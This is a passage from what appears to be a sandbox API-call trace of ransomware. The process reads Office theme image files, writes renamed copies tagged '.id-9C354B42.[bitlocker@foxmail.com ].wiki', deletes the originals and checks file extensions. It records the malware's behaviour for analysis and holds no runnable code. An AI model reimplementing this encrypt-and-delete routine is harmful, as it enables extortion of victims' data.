lpOverlapped=0x0) returned 1 [0052.507] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0052.510] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.510] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.510] SetEndOfFile (hFile=0x1f4) returned 1 [0052.510] CloseHandle (hObject=0x1f4) returned 1 [0052.510] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.510] SetEndOfFile (hFile=0x18c) returned 1 [0052.511] CloseHandle (hObject=0x18c) returned 1 [0052.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.511] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.512] lstrlenW (lpString=".doc") returned 4 [0052.512] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.512] lstrlenW (lpString=".docx") returned 5 [0052.512] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.512] lstrlenW (lpString=".pdf") returned 4 [0052.512] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.512] lstrlenW (lpString=".xls") returned 4 [0052.512] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.512] lstrlenW (lpString=".xlsx") returned 5 [0052.512] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.512] lstrlenW (lpString=".ppt") returned 4 [0052.512] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.512] lstrlenW (lpString=".zip") returned 4 [0052.512] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.512] lstrlenW (lpString=".rar") returned 4 [0052.512] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.512] lstrlenW (lpString=".bz2") returned 4 [0052.512] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.512] lstrlenW (lpString=".7z") returned 3 [0052.512] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.512] lstrlenW (lpString=".dbf") returned 4 [0052.512] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.512] lstrlenW (lpString=".1cd") returned 4 [0052.512] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.512] lstrlenW (lpString=".jpg") returned 4 [0052.512] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.513] lstrlenW (lpString=".doc") returned 4 [0052.513] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.513] lstrlenW (lpString=".docx") returned 5 [0052.513] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.513] lstrlenW (lpString=".pdf") returned 4 [0052.513] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.513] lstrlenW (lpString=".xls") returned 4 [0052.513] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.513] lstrlenW (lpString=".xlsx") returned 5 [0052.513] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.513] lstrlenW (lpString=".ppt") returned 4 [0052.513] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.513] lstrlenW (lpString=".zip") returned 4 [0052.513] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.513] lstrlenW (lpString=".rar") returned 4 [0052.513] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.513] lstrlenW (lpString=".bz2") returned 4 [0052.513] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.513] lstrlenW (lpString=".7z") returned 3 [0052.513] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.513] lstrlenW (lpString=".dbf") returned 4 [0052.513] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.513] lstrlenW (lpString=".1cd") returned 4 [0052.513] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0052.513] lstrlenW (lpString=".jpg") returned 4 [0052.513] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.514] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.514] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.515] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5179) returned 1 [0052.515] CloseHandle (hObject=0x18c) returned 1 [0052.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0052.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.515] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.515] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.220] GetLastError () returned 0x0 [0053.220] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x143b, lpOverlapped=0x0) returned 1 [0053.222] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0053.223] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.223] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.223] SetEndOfFile (hFile=0x1f4) returned 1 [0053.223] CloseHandle (hObject=0x1f4) returned 1 [0053.223] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.223] SetEndOfFile (hFile=0x18c) returned 1 [0053.224] CloseHandle (hObject=0x18c) returned 1 [0053.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.224] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0053.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.225] lstrlenW (lpString=".doc") returned 4 [0053.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.225] lstrlenW (lpString=".docx") returned 5 [0053.225] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.225] lstrlenW (lpString=".pdf") returned 4 [0053.225] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.225] lstrlenW (lpString=".xls") returned 4 [0053.225] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.225] lstrlenW (lpString=".xlsx") returned 5 [0053.225] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.225] lstrlenW (lpString=".ppt") returned 4 [0053.225] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.225] lstrlenW (lpString=".zip") returned 4 [0053.225] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.225] lstrlenW (lpString=".rar") returned 4 [0053.225] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.225] lstrlenW (lpString=".bz2") returned 4 [0053.225] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.225] lstrlenW (lpString=".7z") returned 3 [0053.225] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.225] lstrlenW (lpString=".dbf") returned 4 [0053.225] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.225] lstrlenW (lpString=".1cd") returned 4 [0053.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.225] lstrlenW (lpString=".jpg") returned 4 [0053.225] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.225] lstrlenW (lpString=".doc") returned 4 [0053.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.226] lstrlenW (lpString=".docx") returned 5 [0053.226] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.226] lstrlenW (lpString=".pdf") returned 4 [0053.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.226] lstrlenW (lpString=".xls") returned 4 [0053.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.226] lstrlenW (lpString=".xlsx") returned 5 [0053.226] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.226] lstrlenW (lpString=".ppt") returned 4 [0053.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.226] lstrlenW (lpString=".zip") returned 4 [0053.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.226] lstrlenW (lpString=".rar") returned 4 [0053.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.226] lstrlenW (lpString=".bz2") returned 4 [0053.226] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.226] lstrlenW (lpString=".7z") returned 3 [0053.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.226] lstrlenW (lpString=".dbf") returned 4 [0053.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.226] lstrlenW (lpString=".1cd") returned 4 [0053.226] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0053.226] lstrlenW (lpString=".jpg") returned 4 [0053.226] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.226] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.227] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.227] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1232) returned 1 [0053.227] CloseHandle (hObject=0x18c) returned 1 [0053.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0053.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.227] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.227] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.229] GetLastError () returned 0x0 [0053.229] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0053.231] WriteFile (in: hFile=0x180, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0053.232] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.232] WriteFile (in: hFile=0x180, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.232] SetEndOfFile (hFile=0x180) returned 1 [0053.232] CloseHandle (hObject=0x180) returned 1 [0053.232] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.232] SetEndOfFile (hFile=0x18c) returned 1 [0053.233] CloseHandle (hObject=0x18c) returned 1 [0053.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.233] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0053.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.233] lstrlenW (lpString=".doc") returned 4 [0053.233] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.233] lstrlenW (lpString=".docx") returned 5 [0053.233] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.233] lstrlenW (lpString=".pdf") returned 4 [0053.234] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.234] lstrlenW (lpString=".xls") returned 4 [0053.234] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.234] lstrlenW (lpString=".xlsx") returned 5 [0053.234] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.234] lstrlenW (lpString=".ppt") returned 4 [0053.234] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.234] lstrlenW (lpString=".zip") returned 4 [0053.234] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.234] lstrlenW (lpString=".rar") returned 4 [0053.234] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.234] lstrlenW (lpString=".bz2") returned 4 [0053.234] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.234] lstrlenW (lpString=".7z") returned 3 [0053.234] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.234] lstrlenW (lpString=".dbf") returned 4 [0053.234] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.234] lstrlenW (lpString=".1cd") returned 4 [0053.234] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.234] lstrlenW (lpString=".jpg") returned 4 [0053.234] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.234] lstrlenW (lpString=".doc") returned 4 [0053.234] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.234] lstrlenW (lpString=".docx") returned 5 [0053.234] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.234] lstrlenW (lpString=".pdf") returned 4 [0053.234] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.234] lstrlenW (lpString=".xls") returned 4 [0053.235] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.235] lstrlenW (lpString=".xlsx") returned 5 [0053.235] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.235] lstrlenW (lpString=".ppt") returned 4 [0053.235] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.235] lstrlenW (lpString=".zip") returned 4 [0053.235] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.235] lstrlenW (lpString=".rar") returned 4 [0053.235] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.235] lstrlenW (lpString=".bz2") returned 4 [0053.235] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.235] lstrlenW (lpString=".7z") returned 3 [0053.235] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.235] lstrlenW (lpString=".dbf") returned 4 [0053.235] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.235] lstrlenW (lpString=".1cd") returned 4 [0053.235] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0053.235] lstrlenW (lpString=".jpg") returned 4 [0053.235] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.235] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.235] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.236] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=18413) returned 1 [0053.236] CloseHandle (hObject=0x18c) returned 1 [0053.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0053.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.236] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.236] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.236] GetLastError () returned 0x0 [0053.236] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, 